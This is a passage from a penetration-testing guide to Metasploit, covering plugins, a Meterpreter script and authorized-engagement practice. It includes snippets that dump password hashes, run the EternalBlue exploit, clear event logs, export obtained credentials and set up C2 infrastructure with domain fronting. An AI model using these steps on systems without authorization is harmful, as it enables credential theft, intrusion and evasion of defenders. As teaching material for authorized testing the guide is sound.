    {
      "custom_command" => "Execute custom command",
      "custom_scan"  => "Run custom scan"
    }
  end

  def cmd_custom_command(*args)
    print_status("Executing custom command...")
    print_good("Command completed")
  end

  def cmd_custom_scan(*args)
    if args.length < 1
      print_error("Usage: custom_scan <target>")
      return
    end

    target = args[0]
    print_status("Scanning #{target}...")
    print_good("Scan complete")
  end

end
end
```

8.13 Loading and Using Plugins

```
# Load plugin
load custom_plugin

# Use plugin commands
custom_command
custom_scan 192.168.1.100

# Unload plugin
unload custom_plugin

# List loaded plugins
load -l
```

8.14 Meterpreter Scripts

```
# ~/.msf4/scripts/meterpreter/custom_script.rb

# Simple Meterpreter script
def run_cmd(cmd)
  print_status("Running: #{cmd}")
  output = session.shell_command_token(cmd)
  print_line(output)
end

print_status("Starting custom Meterpreter script")

# Get system info
sysinfo = session.sys.config.sysinfo
print_good("Computer: #{sysinfo['Computer']}")
print_good("OS: #{sysinfo['OS']}")

# Run commands
run_cmd("whoami")
run_cmd("ipconfig")

# Dump hashes
if session.sys.config.is_admin?
  print_status("Admin privileges detected")
  print_status("Dumping hashes...")
  run_post_module('windows/gather/hashdump')
else
  print_error("Admin privileges required")
end

print_good("Script complete")
```

8.15 Contributing to Metasploit

To contribute modules to Metasploit:

1. Fork the Metasploit Framework repository
2. Create module following coding standards
3. Test thoroughly
4. Submit pull request on GitHub
5. Respond to reviewer feedback
6. Follow responsible disclosure practices

Resources:

- GitHub: https://github.com/rapid7/metasploit-framework
- Wiki: https://github.com/rapid7/metasploit-framework/wiki
- Style Guide: https://github.com/rapid7/metasploit-framework/wiki/Style-Tips

9 Best Practices and Ethical Guidelines

9.1 Legal and Ethical Considerations

IMPORTANT: Unauthorized access to computer systems is illegal and unethical. Always ensure you have:

- Written authorization before testing
- Clearly defined scope of engagement
- Rules of engagement documented
- Approval from system owners
- Legal counsel review when necessary

Metasploit should only be used for:

- Authorized penetration testing
- Security research in controlled environments
- Educational purposes on your own systems
- Red team exercises with proper authorization

9.2 Pre-Engagement

Pre-Engagement Checklist

1. **Scope Definition**
   - IP ranges
   - Domains/subdomains
   - Specific systems
   - Off-limits systems
   - Test windows (date/time)
2. **Authorization**
   - Signed contract/agreement
   - Statement of work (SOW)
   - Rules of engagement (RoE)
   - Emergency contacts
3. **Communication Plan**
   - Primary contact
   - Escalation procedures
   - Critical finding notifications
   - Status update schedule

9.3 Operational Security (OpSec)

9.3.1 Attack Infrastructure

```
# Use VPS for C2 servers
# - Not your home IP
# - Reputable hosting providers
# - Clean IPs (not blacklisted)

# Recommended providers
# - Amazon AWS
# - Digital Ocean
# - Linode
# - Vultr

# Rotate infrastructure regularly
# Use redirectors for C2
# Implement domain fronting when possible
# Use HTTPS for encrypted communications
```

9.3.2 Protecting Your Identity

- Use VPN when testing (authorized scenarios)
- Don't reuse infrastructure
- Separate testing and personal systems
- Use dedicated testing accounts
- Clean metadata from deliverables
- Use encrypted communications
- Secure your testing notes
- Protect client data

9.4 Safe Testing Practices

9.4.1 Backup Before Testing

```
# Verify backups exist
# Especially for:
# - Database testing
# - File system modifications
# - Configuration changes
# - Privilege escalation attempts

# Document system state before testing
# Take snapshots of VMs when possible
```

9.4.2 Gradual Escalation

Testing Escalation Levels

1. **Passive reconnaissance** - Public information
2. **Active scanning** - Network/port scanning
3. **Vulnerability identification** - Non-invasive checks
4. **Exploitation** - Controlled exploitation
5. **Post-exploitation** - Documented activities

Escalate gradually and stop if:

- Systems become unstable
- Services are disrupted
- Unintended systems affected
- Outside defined scope

9.5 Documentation Best Practices

9.5.1 What to Document

```
# Session logging in msfconsole
spool /tmp/msf_session_$(date +%Y%m%d_%H%M%S).log

# Within Meterpreter
logfile -r /tmp/meterpreter_$(date +%Y%m%d_%H%M%S).log

# Document:
# - All commands executed
# - Systems accessed
# - Credentials found
# - Data accessed
# - Exploitation techniques used
# - Timestamps of activities
# - Any system impacts observed
```

9.5.2 Screenshot Evidence

```
# In Meterpreter
screenshot

# Name screenshots descriptively
# evidence_10.10.10.5_admin_access_20240115_143022.png

# Store securely and encrypted
# Organize by system/finding
```

9.6 Responsible Disclosure

When discovering vulnerabilities during authorized testing:

1. Report to client immediately if critical
2. Follow agreed notification procedures
3. Provide clear remediation guidance
4. Allow reasonable time to patch
5. Don't publicly disclose without permission
6. Consider coordinated disclosure for 0-days

9.7 System Stability

9.7.1 Avoiding Service Disruption

```
# Use check function before exploiting
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
check

# Test in non-production first
# Avoid DoS conditions
# Limit scanning threads
set THREADS 5

# Be gentle with exploits
# Some exploits can crash services
# Read module documentation
info exploit/...

# Monitor system stability
# Watch for:
# - Service crashes
# - High CPU/memory usage
# - Network saturation
# - Application errors
```

9.8 Data Handling

Handle discovered data responsibly:

- Minimize data collection
- Encrypt stored data
- Limit access to findings
- Secure deletion when done
- Follow data protection laws (GDPR, etc.)
- Don't exfiltrate more than necessary
- Sanitize data in reports
- Use secure communication channels

9.9 Cleanup Procedures

```
# Post-engagement cleanup

# Remove artifacts
# - Uploaded tools
# - Created accounts
# - Modified files
# - Scheduled tasks
# - Registry entries
# - Persistence mechanisms

# In Meterpreter - Clear event logs (if authorized)
clearev

# Remove uploaded files
rm /tmp/tool.exe
rm C:\\Windows\\Temp\\payload.exe

# Delete created accounts
shell
net user testuser /delete
exit

# Remove scheduled tasks
shell
schtasks /delete /tn "UpdateTask" /f
exit

# Kill sessions cleanly
sessions -K

# Document cleanup actions
```

9.10 Reporting

9.10.1 Report Structure

Penetration Test Report Template

1. **Executive Summary**
   - High-level overview
   - Risk rating
   - Key findings
   - Business impact
2. **Technical Summary**
   - Methodology
   - Tools used
   - Testing timeline
   - Scope
3. **Findings**
   - Vulnerability details
   - CVSS scores
   - Exploitation steps
   - Evidence (screenshots)
   - Impact assessment
4. **Recommendations**
   - Prioritized remediation
   - Specific fixes
   - Best practices
   - Strategic improvements
5. **Appendices**
   - Detailed technical data
   - Tool output
   - References

9.10.2 Export Database Findings

```
# Export from Metasploit database
db_export -f xml /tmp/findings.xml
db_export -f pwdump /tmp/credentials.txt

# Generate reports from data
# hosts - discovered systems
# services - identified services
# vulns - found vulnerabilities
# creds - obtained credentials

# Clean sensitive data before sharing
# Redact passwords in screenshots
# Sanitize personal information
```

```
# Remove unnecessary details
```

9.11 Continuous Learning

- Follow security blogs and researchers
- Practice in labs (HackTheBox, TryHackMe, VulnHub)
- Participate in CTF competitions
- Attend security conferences
- Read vulnerability disclosures
- Study exploit development
- Review Metasploit module updates
- Learn new post-exploitation techniques
- Understand modern defense mechanisms
- Study real-world case studies

9.12 Lab Environment Setup

```
# Set up safe testing environment

# 1. Install Kali Linux (attacker)
# - Download from https://www.kali.org/
# - Use VM for isolation

# 2. Install vulnerable targets
# - Metasploitable 2/3
# - DVWA
# - Vulnhub VMs
# - HackTheBox

# 3. Network configuration
# - Use host-only or NAT networks
# - Isolate from production
# - Create snapshots before testing

# 4. Documentation tools
# - CherryTree for notes
# - Obsidian for knowledge base
# - KeepNote
# - Screenshot tools

# 5. Additional tools
# - Burp Suite
# - Nmap
# - Wireshark
# - BloodHound
# - Mimikatz
```

9.13 Common Mistakes to Avoid

1. **Scope Creep** - Staying within authorized boundaries
2. **Lack of Documentation** - Recording all actions
3. **Poor Communication** - Regular status updates
4. **Service Disruption** - Testing carefully
5. **Data Mishandling** - Protecting sensitive information
6. **Incomplete Cleanup** - Removing all artifacts
7. **Inadequate Reporting** - Clear, actionable findings
8. **Ignoring Defense** - Understanding blue team perspective
9. **Overconfidence** - Continuous learning and caution
10. **Legal Issues** - Always having proper authorization

9.14 Professional Certifications

Entry to Intermediate:

- CEH (Certified Ethical Hacker)
- eJPT (eLearnSecurity Junior Penetration Tester)
- PNPT (Practical Network Penetration Tester)
- CompTIA PenTest+

Advanced:

- OSCP (Offensive Security Certified Professional)
- OSCE (Offensive Security Certified Expert)
- GPEN (GIAC Penetration Tester)
- GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)

Specialized:

- OSWE (Web Exploitation)
- OSWP (Wireless Security)
- OSED (Exploit Development)
- CRTO (Certified Red Team Operator)

9.15 Final Thoughts

Core Principles

1. **Authorization First** - Never test without permission
2. **Do No Harm** - Minimize impact on systems
3. **Document Everything** - Detailed records of activities
4. **Communicate Clearly** - Regular updates to stakeholders
5. **Continuous Learning** - Stay current with techniques
6. **Ethical Conduct** - Follow professional standards
7. **Respect Privacy** - Handle data responsibly
8. **Clean Up** - Remove artifacts post-engagement
9. **Quality Reporting** - Actionable recommendations
10. **Professional Development** - Pursue certifications

9.16 Resources

```
# Official Resources
Metasploit: https://www.metasploit.com/
Documentation: https://docs.metasploit.com/
GitHub: https://github.com/rapid7/metasploit-framework
Exploit Database: https://www.exploit-db.com/

# Learning Platforms
HackTheBox: https://www.hackthebox.eu/
TryHackMe: https://tryhackme.com/
PentesterLab: https://pentesterlab.com/
VulnHub: https://www.vulnhub.com/

# Communities
Reddit: r/netsec, r/hacking
Discord: Cybersecurity servers
Twitter: Follow security researchers
Forums: 0x00sec, Exploit-DB forums

# Books
"Metasploit: The Penetration Tester's Guide"
"The Hacker Playbook" series
"Penetration Testing" by Georgia Weidman
"RTFM: Red Team Field Manual"
"The Web Application Hacker's Handbook"
```

Remember: With great power comes great responsibility.
Use these tools ethically and legally.